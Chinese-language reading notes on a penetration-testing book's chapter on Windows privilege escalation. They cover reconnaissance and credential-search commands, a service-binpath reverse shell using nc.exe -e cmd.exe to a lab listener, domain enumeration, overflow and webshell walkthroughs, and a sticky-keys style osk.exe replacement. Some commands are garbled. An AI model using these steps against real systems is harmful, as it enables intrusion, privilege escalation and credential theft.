网络攻防实战研究 漏洞利用与提权读书笔记二

网络攻防实战研究 漏洞利用与提权读书笔记二

  • 第2章 Windows漏洞利用与提权
    • 2.1 Windows提权基础
      • 2.1.1 Windows提权信息的收集
      • 2.1.2 Windows提权准备
      • 2.1.3 使用MSF平台搜索可利用的POC
      • 2.1.4 实施提权
      • 2.1.5 停用安全狗
    • 2.2 提权辅助工具Windows-Exploit-Suggester
      • 2.2.1 Windows-Exploit-Suggester简介
      • 2.2.2 下载Windows-Exploit-Suggester、python3.3及xlrd库
      • 2.3 Windows低权限进程及服务提权
      • 2.3.1 AccessChk简介及使用
      • 2.3.2 获取低权限可操作服务的名称
      • 2.3.3 修改服务并获取系统权限
    • 2.4 Windows口令扫描及3389口令暴力破解
      • 2.4.1 口令扫描准备工作
      • 2.4.2 使用NTscan扫描口令
    • 2.5 使用WinlogonHack获取系统密码
    • 2.6 Windows Server 2003 域控服务器密码获取
      • 2.6.1 域控服务器渗透思路
      • 2.6.2 内网域控服务器渗透常见命令
    • 2.7 MS05-039漏洞利用思路总结
      • 2.7.1 MS05-039漏洞简介
    • 2.8 MS08-067远程溢出漏洞利用思路总结
    • 2.9 通过Pr提权某服务器思路总结
      • 2.9.1 分析AWVS扫描结果
      • 2.9.2 获取WebShell
      • 2.9.3 服务器信息收集与Pr提权
    • 2.10 以Public权限渗透某ASP.NET网站思路总结
      • 2.10.1 寻找网站漏洞
      • 2.10.2 获取WebShell
      • 2.10.3 尝试提权
      • 2.10.4 使用lcx命令转发并登录远程桌面
    • 2.11 Windows1/2008服务器64位MS12-042漏洞提权
      • 2.11.1 MS12-042漏洞简介
      • 2.11.2 提权工具
      • 2.11.3 实战提权利用
    • 2.12 对某虚拟主机的一次SiteManager提权
      • 2.12.1 获取虚拟主机某站点的WebShell
      • 2.12.2 使用WebShell中的提权功能尝试提权
      • 2.12.3 查看可写目录
      • 2.12.4 渗透成功
      • 2.12.5 继续渗透内外网
    • 2.13 社工渗透并提权某服务器
      • 2.13.1 网站挂马的检测和清除
      • 2.13.2 入侵痕迹的搜索和整理
      • 2.13.3 利用社会工程学进行反渗透
    • 2.14 通过SQL注入漏洞渗透某服务器并直接提权
      • 2.14.1 对目标站点分析和漏洞利用
      • 2.14.2 尝试提权获取管理员权限
    • 2.15 phpinfo函数信息泄露漏洞的利用与提权
      • 2.15.1 通过phpinfo函数信息泄露漏洞渗透获取WebShell权限
      • 2.15.2
    • 2.16 通过简单的渗透某公司的外部网络
      • 2.16.1 测试页面漏洞的检测
      • 2.16.2 测试页面漏洞的利用思路
      • 2.16.3 登录服务器并进行口令扫描
      • 2.16.4 获取域控密码
      • 2.16.5 测试页面漏洞的修复
    • 2.17 通过文件上传漏洞渗透某Windows 2012服务器并提权
      • 2.17.1 初步渗透
      • 2.17.2 获取WebShell
      • 2.17.3 使用WebShell进行提权并登录服务器
    • 2.18 通过戴尔服务器远程访问管理卡获取服务器权限
      • 2.18.1 获取服务器远程访问管理卡的账号和密码
      • 2.18.2 加载ISO文件
      • 2.18.3 替换文件获取服务器权限

第2章 Windows漏洞利用与提权

2.1 Windows提权基础

2.1.1 Windows提权信息的收集

1.操作系统的名称和版本信息
systeminfo
网络攻防实战研究 漏洞利用与提权读书笔记二_第1张图片
2.主机名称和所有环境变量
主机名称:hostname
环境变量:set
在这里插入图片描述
3.查看用户信息
查看用户:net user
在这里插入图片描述
查看管理员用户组:net localgroup administrators
在这里插入图片描述
查看远程终端在线用户:query user
在这里插入图片描述
4.查看远程端口
(1)通过注册表查看
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp/v PortNumber
网络攻防实战研究 漏洞利用与提权读书笔记二_第2张图片
(2)通过命令行查看
1.获取对应的PID号:
tasklist /svc
2.通过PID号查找端口
netstat -ano | find “1484”
在这里插入图片描述
5.查看网络情况
(1)网络配置情况:ipconfig /all
网络攻防实战研究 漏洞利用与提权读书笔记二_第3张图片
(2)路由器信息:route print

网络攻防实战研究 漏洞利用与提权读书笔记二_第4张图片
(3)查看ARP缓存
在这里插入图片描述
(4)查看网络连接
netstat -ano
网络攻防实战研究 漏洞利用与提权读书笔记二_第5张图片
(5)查看防火墙规则
netsh firewall show config
在这里插入图片描述
netsh firewall show state

网络攻防实战研究 漏洞利用与提权读书笔记二_第6张图片
6.应用程序和服务
查看服务的进程ID:tasklist /svc
查看已安装驱动程序列表:driverquery
网络攻防实战研究 漏洞利用与提权读书笔记二_第7张图片
查看已经启动的Windows服务:net start
在这里插入图片描述
查看某服务的启动权限:sc qc apache
网络攻防实战研究 漏洞利用与提权读书笔记二_第8张图片
查看已安装程序的列表:wmic product list brief
在这里插入图片描述
查看服务列表:wmic service list brief
在这里插入图片描述
查看进程列表:wmic process list brief
网络攻防实战研究 漏洞利用与提权读书笔记二_第9张图片
查看启动程序列表:wmic startup list brief
在这里插入图片描述
搜索可以提升权限的特定漏洞
wmic qfe get Caption,De**ion,HotFixID,InstalledOn | findstr /C:“KBXXXXXXX”
如果执行上面的命令没有输出,意味着那个补丁未安装
wmic process where name=“iexplore.exe” call terminate
7.检索敏感文件
dir /b /s .cod
8.目录文件操作
列出d:\www所有的目录
for /d %i in (d:\www\
) do @echo %i
把当前路径下文件夹名字只有1~3个字母的显示出来
for /d %i in (???) do @echo %i
当前目录及其子目录的全部exe文件列出
for /r %i (*.exe) do @echo %i
把当前目录及其子目录中的所有文件列出
在这里插入图片描述
显示a.txt中的内容
在这里插入图片描述
9.rar打包
rar a -k -r -s -m3 c:\1.rar d:\wwwroot
10.PHP读文件
c:/php/php.exe “c:/www/admin/1.php”
11.注册表搜索关键字
reg query HKLM /f password /t REG_SZ /s
12.系统权限配置
cacls c:
cacls c:\windows\ma.exe

2.1.2 Windows提权准备

使用Windows-Exploit-Suggester获取目前系统中可能存在的漏洞,步骤如下:
1.收集并编译相关POC
2.若操作系统安装了杀毒软件及安全防护软件,则需要对提权POC进行免杀,否则直接进行下一步、
3.上传POC
4.由Webshell或者反弹webshell来执行命令
5.搜索漏洞,根据关键字进行搜索

2.1.3 使用MSF平台搜索可利用的POC

1.在msf中使用search搜索漏洞
2.可自行搜索查看漏洞对应的版本

2.1.4 实施提权

可以使用相关的poc.exe程序进行提权

2.1.5 停用安全狗

2.2 提权辅助工具Windows-Exploit-Suggester

2.2.1 Windows-Exploit-Suggester简介

Windows-Exploit-Suggester,用python开发而成,运行环境是python3.3及以上版本,且必须安装xlrd库,主要功能是通过比对systeminfo生成的文件发现系统是否存在未修复的漏洞。

2.2.2 下载Windows-Exploit-Suggester、python3.3及xlrd库

1.下载Windows-Exploit-Suggester
Windows-Exploit-Suggester下载地址:
Windows-Exploit-Suggester.py
在这里xlrd库需要源码安装,使用pip安装在调用程序时会报错
2.下载漏洞库
运行命令:
Windows-Exploit-Suggester --update
网络攻防实战研究 漏洞利用与提权读书笔记二_第10张图片
3.生成系统信息文件
systeminfo > win10-systeminfo.txt
在这里插入图片描述
4.查看系统漏洞
windows-exploit-suggester.py --database 2019-08-20-mssb.xls --systeminfo win10-systeminfo.txt(win10)
网络攻防实战研究 漏洞利用与提权读书笔记二_第11张图片
windows-exploit-suggester.py --database 2019-08-20-mssb.xls --systeminfo win7-systeminfo.txt(win7)
网络攻防实战研究 漏洞利用与提权读书笔记二_第12张图片

2.3 Windows低权限进程及服务提权

其原理主要通过微软的AccessChk工具软件配合SC来操作服务服务,通过服务的重启而得到权限。

2.3.1 AccessChk简介及使用

1.AccessChk简介
主要用来检查用户和用户组队文件、目录、注册表项、全局对象和系统服务的权限情况,在实际配置过程中如果权限设置失误,就可能被提权。
2.AccessChk参数
-a:Windows账户权限
-c:显示服务名称
-d:仅处理目录或顶级键
-e:只显示设置的完整性级别
-f:显示包含组合特权的完整过程令牌信息
-k:注册表键值
-I:在取消完全访问控制列表时忽略只继承符的对象
-l:显示全部访问列表
-n:仅显示没有访问权限的对象
-o:名称是对象管理器命名空间中的一个对象
-p:进程名或者PID
-q:省略标识
-r:显示对象只读属性
-s:递归
-t:对象类型赛选器
-u:抑制错误
-v:冗长
-w:仅显示具有写访问权限的对象

2.3.2 获取低权限可操作服务的名称

1.实验环境
本次实验环境为win20003,用户simeon属于Power User组,可登陆系统,IP地址为192.168.253.131.监听服务IP地址为192.168.253.132。将nc.exe复制到c:\windows\temp目录下
2.获取可读可写的服务
accesschk.exe -uwcqv “Power Users” *
网络攻防实战研究 漏洞利用与提权读书笔记二_第13张图片
3.查询服务详细信息
名称为"DcomLaunch"、"kdc"的服务可以被simeon用户操作。使用"sc qc kdc"命令查询kdc服务的详细信息.
网络攻防实战研究 漏洞利用与提权读书笔记二_第14张图片4.确定使用的服务
net start | find “…”
5.获取服务名称对应的服务
tasklist /svc

2.3.3 修改服务并获取系统权限

1.修改DcomLaunch服务参数binpath的值
sc config DcomLaunch binpath= “C:\WINDOWS\temp\nc.exe -nv 192.168.253.139 4433 -e C:\WINDOWS\System32\cmd.exe”
在这里插入图片描述
执行命令成功后,再次使用sc qc DcomLaunch命令查看服务
网络攻防实战研究 漏洞利用与提权读书笔记二_第15张图片
2.重新启动服务
先执行sc config DcomLaunch obj= “.\LocalSystem” password= ""命令,后执行net start DcomLaunch命令
网络攻防实战研究 漏洞利用与提权读书笔记二_第16张图片
3.反弹获取服务器权限
在反弹服务器192.168.253.132中监听4433端口,成功获取来自192.168.253.131的反弹,且为系统权限
网络攻防实战研究 漏洞利用与提权读书笔记二_第17张图片
注:在这里靶机我使用的是administrator用户,simeon用户操作无法成功。

2.4 Windows口令扫描及3389口令暴力破解

2.4.1 口令扫描准备工作

收集的信息越多,越有可能成功获取内网服务器权限。例如,在掌握一定的权限后,通过邮箱账号等信息进行社工密码收集,对用户的密码进行规律分析和社工字典生成。
(1)确定需要扫描的IP地址或者IP地址段
(2)收集用户名和密码
(3)编辑密码和口令配置文件

2.4.2 使用NTscan扫描口令

1.设置NTscan
设置好用户名和密码
2.执行扫描
网络攻防实战研究 漏洞利用与提权读书笔记二_第18张图片
3.实施控制(获取主机的管理员权限)
在这里插入图片描述
4.使用psexec工具,执行psexec命令
网络攻防实战研究 漏洞利用与提权读书笔记二_第19张图片

2.5 使用WinlogonHack获取系统密码

2.6 Windows Server 2003 域控服务器密码获取

2.6.1 域控服务器渗透思路

(1)寻找网络入口,获取域控用户权限,通过用户获取域控管理员信息
(2)获取域控服务器内某一台Web服务器或者其他服务器的权限

2.6.2 内网域控服务器渗透常见命令

1.本机信息收集命令
用户列表:分析Windows用户列表,一定不要忽略administrator
分析邮件用户,内网/域邮件用户通常就是内网/域用户
进程列表:分析杀毒软件/安全监控工具、邮件客户端、VPN等
服务列表:与安全防范工具有关的服务(判断是否可以手动开关等),存在问题的服务(权限/漏洞)
端口列表:开放端口对应的常见服务/应用陈旭(匿名/权限/漏洞等),利用端口进行信息收集,建议深入挖掘(NETBIOS、SMB等)
补丁列表:分析Windows补丁、第三方软件(Java/Oracle/Flash等)的漏洞
本机共享(域内共享在很多时候是相同的):本机共享列表/访问权限,本机访问的域共享/访问权限
本地用户习惯分析:历史记录、收藏夹、文档等,特别是远程终端、PUTTY、FTP及SSH等
2.常见信息收集命令
查询本机用户列表:net user
查询本机管理员(通常含有域用户):net localgroup administrators
查询域管理用户:net group “domain admins” /domain
查询域用户:net user /domain
查询域里面的工作组:net group /domain
查询域名称:net view /domain
查询域内计算机:net time /domain
查询域管理员用户组:net localgroup administrators /domain
将域用户添加到本机:net localgroup administrators workgroup\user001 /add
查看域控制器(如果有多台):net group “Domain controllers”
查询本机IP段、所在域等:ipconfig /all
查询同一域内的机器列表:net view
查询所有域控制器:dsquery server
查询域内计算机:dsquery computer
查询域用户:dsquery user
查询域内联系人:dsquery contact
查询域内子网:dsquery subnet
查询域内用户组:dsquery group
查询域内组织单位:dsquery ou
查询域内站点:dsquery site
查询域内所有计算机:net group “domain computers” /domain

2.7 MS05-039漏洞利用思路总结

2.7.1 MS05-039漏洞简介

1.MS05-039漏洞
Windows的即插即用(PnP)功能允许操作系统在安装新硬件时检测这些设备。由于该功能中存在缓冲区溢出漏洞,因此成功利用这个漏洞的攻击者可以完全控制受影响的系统。
2.利用步骤:
(1)设置MS05-039漏洞利用程序
(2)扫描存在MS05-039漏洞的计算机
当扫描到存在溢出漏洞的计算机后,会反弹一个独立IP地址的DOSShell并以Telnet的方式显示
(3)查看扫描结果
查看有哪些被扫描的计算机
(4)实时控制
在DOSShell中使用vbs脚本下载Radmin的3个程序r_server.exe、raddrv.dll、admdrv.dll
(5)在DOS环境下安装Radmin
执行相关命令
(6)远程连接Radmin

2.8 MS08-067远程溢出漏洞利用思路总结

1.扫描445端口
2.使用MS08-067溢出工具对结果进行溢出尝试
一个MS08-067.exe的程序
3.监听4444端口(端口在MS08-067.exe源程序中定制)
在执行扫描的计算机上使用nc监听4444端口
4.继续进行溢出(选择其他ip)
换一个IP地址执行溢出
5.查看服务器信息(判断是否对其进行后续控制)
6.添加管理员账号
7.上传文件
有很多种方式
8.获取系统详细信息及执行各种命令
9.登录被溢出的服务器
10.加固服务器
11.破解Hash值

2.9 通过Pr提权某服务器思路总结

2.9.1 分析AWVS扫描结果

2.9.2 获取WebShell

1.获取文件上传地址
通过AWS,发现网站存在直接文件上传地址
2.直接上传网页木马
3.创建并操作一句话后门
4.上传大马进行管理

2.9.3 服务器信息收集与Pr提权

1.查看网站服务器文件(例如数据库文件)
2.查询目标网站所在服务器下的所有域名
3.分析数据库文件(可以获取FTP用户名、FTP密码)
4.上传PHP WebShell(通过账号和密码登录该FTP服务器,并上传webshell)
5.Pr提权
6.获取远程终端端口
7.登录远程终端端口

2.10 以Public权限渗透某ASP.NET网站思路总结

2.10.1 寻找网站漏洞

	1.找到sql注入点并注入成功
	2.扫描和获取后台地址
	3.登录后台

2.10.2 获取WebShell

2.10.3 尝试提权

2.10.4 使用lcx命令转发并登录远程桌面

1.查看添加的用户
2.使用lcx命令进行端口转发
3.连接远程桌面

2.11 Windows1/2008服务器64位MS12-042漏洞提权

2.11.1 MS12-042漏洞简介

Windows User Mode Scheduler在处理系统请求时存在权限提升漏洞,成功利用后可导致在内核模式中运行任意代码。

2.11.2 提权工具

MS12-042提权工具被编译成sysret.exe,其部分参数如下L
sysret -p:表示把此时的进程提升到system权限
sysret -e:表示把程序提升到system权限运行

2.11.3 实战提权利用

1.提权服务器信息收集与分析
(1)收集系统版本信息
(2)使用systeminfo命令获取补丁及操作系统信息
(3)查看当前用户权限
2.实施提权

2.12 对某虚拟主机的一次SiteManager提权

2.12.1 获取虚拟主机某站点的WebShell

2.12.2 使用WebShell中的提权功能尝试提权

2.12.3 查看可写目录

2.12.4 渗透成功

1.找到明文管理员密码
2.查看远程终端端口
3.进入系统

2.12.5 继续渗透内外网

1.获取系统口令
2.探测相同网段具有该端口的远程终端IP地址
3.使用获取的用户账号和密码登录
4.启用内外网卡

2.13 社工渗透并提权某服务器

2.13.1 网站挂马的检测和清除

1.使用软件嗅探被挂马的页面
2.清除挂马代码

2.13.2 入侵痕迹的搜索和整理

检测到入侵主机的ip,扫描该端口,发刊开放了3389端口、80端口、FTP服务

2.13.3 利用社会工程学进行反渗透

1.使用获取的FTP账号猜测服务器登录口令
2.从网站入手
3.从FTP目录入手
4.上传ASP.NET木马提升系统权限
上传的ASPX木马能执行命令了
5.获取数据库用户管理员密码
猜测的3389端口的密码不对,可能和数据库账户密码一致,所以从FTP下载这个数据库文件
6.再次登录远程终端
利用数据库的账户和密码登录远程终端

2.14 通过SQL注入漏洞渗透某服务器并直接提权

2.14.1 对目标站点分析和漏洞利用

获取Webshell

2.14.2 尝试提权获取管理员权限

1.使用"中国菜刀"连接
2.上传GetPass获取账户和密码
3.查看开放的端口
4.查看内网的情况
5.尝试内网渗透并查看权限

2.15 phpinfo函数信息泄露漏洞的利用与提权

2.15.1 通过phpinfo函数信息泄露漏洞渗透获取WebShell权限

1.分析phpinfo函数暴露出来的有用信息
(1)操作系统
(2)服务器
(3)网站默认路径
3.查看泄露的文件
对根目录进行访问
3.获取数据库口令
利用泄露的文件,获取口令
4.连接并查看数据库
5.导出一句话后门到服务器
6.获取WebShell

2.15.2

1.对服务器进行提权
2.登录3389端口

2.16 通过简单的渗透某公司的外部网络

2.16.1 测试页面漏洞的检测

找到baidu.zip备份及mszw.sql数据库文件泄露

2.16.2 测试页面漏洞的利用思路

1.扫描端口
2.反查IP地址所在域名
3.对端口进行测试
4.对存在的漏洞进行利用
5.获取WebShell
6.获取服务器密码

2.16.3 登录服务器并进行口令扫描

使用lcx进行内网渗透。在外网独立服务器上尝试连接和登录,成功登录该服务器。
将获取的口令放入NTscan的扫描字典中。

2.16.4 获取域控密码

使用gsedump程序直接获取该域控服务器所有密码的列表

2.16.5 测试页面漏洞的修复

该漏洞的修复方法就是删除测试页面。

2.17 通过文件上传漏洞渗透某Windows 2012服务器并提权

2.17.1 初步渗透

1.对目标端口进行扫描
2.在浏览器中对该IP地址进行访问
3.对存在的Web目录逐个进行访问测试
4.后台绕过漏洞
上传一个一句话后门PHP文件上传

2.17.2 获取WebShell

1.寻找WebShell地址
2.收集和查看服务器上的敏感信息
3.获取数据库root账号密码
获取数据库root账号和密码的目的是在无法提权的情况下尝试进行Mysql数据库提权

2.17.3 使用WebShell进行提权并登录服务器

1.使用 WebShell进行提权
2.登录远程终端

2.18 通过戴尔服务器远程访问管理卡获取服务器权限

2.18.1 获取服务器远程访问管理卡的账号和密码

1.登录系统
戴尔服务器远程访问管理卡是在紧急情况下(例如宕机)辅助管理服务器的管理工具。
2.使用虚拟控制台
3.操控操作系统

2.18.2 加载ISO文件

1.加载ISO文件
2.启用虚拟介质
3.选择DOS工具集
4.使用DOS工具箱
提供了访问NTFS分区的功能
5.访问磁盘分区
可以直接查看目标所在的网站程序等信息

2.18.3 替换文件获取服务器权限

1.通过替换放大镜(osk.exe)或sethc.exe等获取Webshell
del osk.exe
dir osk.exe
copy cmd.exe osk.exe
2.重启系统获取系统权限

你可能感兴趣的:(提权)